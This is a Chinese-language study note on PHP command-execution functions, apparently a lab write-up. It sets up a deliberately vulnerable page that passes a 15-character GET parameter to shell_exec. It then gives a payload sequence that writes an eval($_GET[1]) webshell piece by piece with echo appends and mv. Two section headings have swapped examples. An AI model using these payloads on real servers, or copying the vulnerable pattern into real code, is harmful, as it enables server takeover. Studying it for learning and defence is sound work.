看到一个关于任意命令执行的视频后感觉很有意思,可以记录以下,以后可能会用到。

php中存在命令执行的常见函数

1.system

1
2
3
4
$last_line = system('ls', $return_var);
system() 会将输出内容直接印出, 所以若于网页, 会将所有回传内容都显示于页面上.
$last_line: 只能取得最后一行的内容
$return_var: 取得系统状态回传码

2.shell_exec

1
2
$output = shell_exec('ls');
$output: 回传内容都会存于此变数中(储存成纯文字内容), 不会直接秀在页面上.

3.exec

1
2
3
exec('ls', $output, $return_var);
$output: 回传内容都会存于此变数中(储存成阵列), 不会直接秀在页面上.
$return_var: 取得系统状态回传码

3.eval

eval执行命令的原理与上面几个不同,eval 会把字符串作为PHP代码执行

例如

1
2
3
4
5
eval("phpinfo();");
eval("system('dir');");
eval("echo 'hello!';");

//注意:因为是将字符串当作php代码执行,所以相当于双引号中的代码再次执行了一次,所以里面的代码一定要符合php语法规则

4.create_function

php官方手册

用法如下

1
2
3
4
5
6
$a = 'system';
$b = 'dir';
$c = 'assert';
$d = 'phpinfo()';
call_user_func($a,$b);
call_user_func($c,$d);

5.call_user_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$a = create_function('$code','echo $code;');
$b = 'hello';
$a($b);
$a = 'phpinfo();';
$b = create_function('',$a);
$b();

//和下面两个定义的函数作用相同
function a($b){
echo '$b';
}

function b(){
phpinfo();
}

限制字符长度的命令执行

实验环境为ubuntu nginx+php5.5

实验目的

通过命令执行想服务器写入一句话木马而达到控制服务器的目的

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<=15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}
else{
exit("It's too long!");
}
?>

限制了参数1的字符长度为15

然后将传递的参数放到shell_exec中执行

突破点就是利用shell_exec函数将,我们的一句话木马写入到一个php文件中,获取shell。

所以想要够的payload的为

1
?1=echo shellcode >1.php

将一句话木马写入到1.php中,我们知道一句话木马最短字符长度应该为21 ,这显然不能达到14个字符的限制要求

muma.png

可以使用echo text >>tmp.txt

将字符串输出追加重定向,当前目录存在tmp.txt,则将tmp.txt的内容后面追加输出的字符串,会换行

例如下面

echo.png

字符限制解决了,那么得知道换行后php代码还能正常执行吗,本地验证发现是没问题的

yanzheng.png

下面就可以做这个题目了

1
2
3
4
5
6
7
//为了每次写入更多的字符可以利用无后缀名的文件,最后用mv将其改为php文件
?1=echo \<\?php >1
?1=echo eval\( >>1
?1=echo \$_GET >>1
?1=echo \[1\] >>1
?1=echo \)\; >>1
?1=mv 1 1.php

之后访问1.php提交参数,获取想要的内容。